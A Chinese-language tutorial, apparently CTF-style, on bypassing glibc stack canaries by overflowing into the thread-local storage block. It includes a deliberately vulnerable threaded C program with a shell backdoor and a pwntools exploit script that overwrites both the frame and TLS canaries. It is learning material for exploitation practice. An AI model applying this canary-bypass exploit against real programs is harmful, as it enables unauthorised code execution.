什么是 tls
通常在C程序中常存在全局变量、静态变量以及局部变量,对于局部变量来说,并不存在线程安全问题。
而对于全局变量和函数内定义的静态变量,同一进程中各个线程都可以访问它们,因此它们存在多线程读写问题。
如果需要在一个线程内部的各个函数调用都能访问、但其它线程不能访问的变量(被称为 static memory local to a thread 线程局部静态变量),就需要新的机制来实现,这就是TLS。
下方是 TLS 的结构,这个结构会在线程创建的时候被放入每个线程栈的栈底
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8];
} tcbhead_t;
其中,stack_guard
就是我们平时所说的 canary
,线程通过 fs
寄存器加偏移得到(0x8 4 + 0x4 2 = 0x28)
如何利用
当函数在不同的线程上被调用时,该线程会被分配新的栈,并且Canary会被放置在TLS上。TLS位于栈的顶部,当溢出长度较大时,可以同时覆盖返回地址前的 Canary 和 TLS 中的 Canary 实现绕过。
/*
gcc test.c -o test -lpthread -no-pie
*/
#include<stdio.h>
#include<pthread.h>
void backdoor(){
execve("/bin/sh", 0, 0);
}
void test(){
char buf[0x20];
gets(buf);
}
int main(){
pthread_t newthread;
while(1)
if(pthread_create(&newthread, 0, test, 0) != -1)
pthread_join(newthread, 0);
}
这个程序会不断申请新的线程并且进行 gets 操作,这里明显存在栈溢出。
根据刚刚的分析,栈帧的 canary 和 整个线程的 canary 都存在于栈上,所以我们只需要利用栈溢出将 tls 中的 canary 修改为我们想要的值即可造成 ROP。
不过要注意,在线程中是不能进行 system 等包含 fork() 操作的函数的,会引发 segment fault。
from pwn import *
import sys
context.log_level = 'DEBUG'
context.terminal=["open-wsl.exe","-c"]
ver = '2.31'
elf_dir = './test'
#ld_dir = '/glibc/x64/{0}/lib/ld-{0}.so'.format(ver)
#libc_dir = './libc.so'
libc_dir = "/glibc/x64/{0}/lib/libc-{0}.so".format(ver)
if(len(sys.argv) == 1):
#p = process(elf_dir)
p = process([elf_dir],env={"LD_PRELOAD": libc_dir})
#p = process([ld_dir, elf_dir], env={"LD_PRELOAD": libc_dir})
else:
p = remote('',)
#gdb.attach(p, 'b *0x401204\nc')
p.sendline(b'a'*0x28 + b'b'*0x8 + b'fake_rbp' + p64(0x4011BE) + b'c'*0x828 + b'b'*0x8)
p.interactive()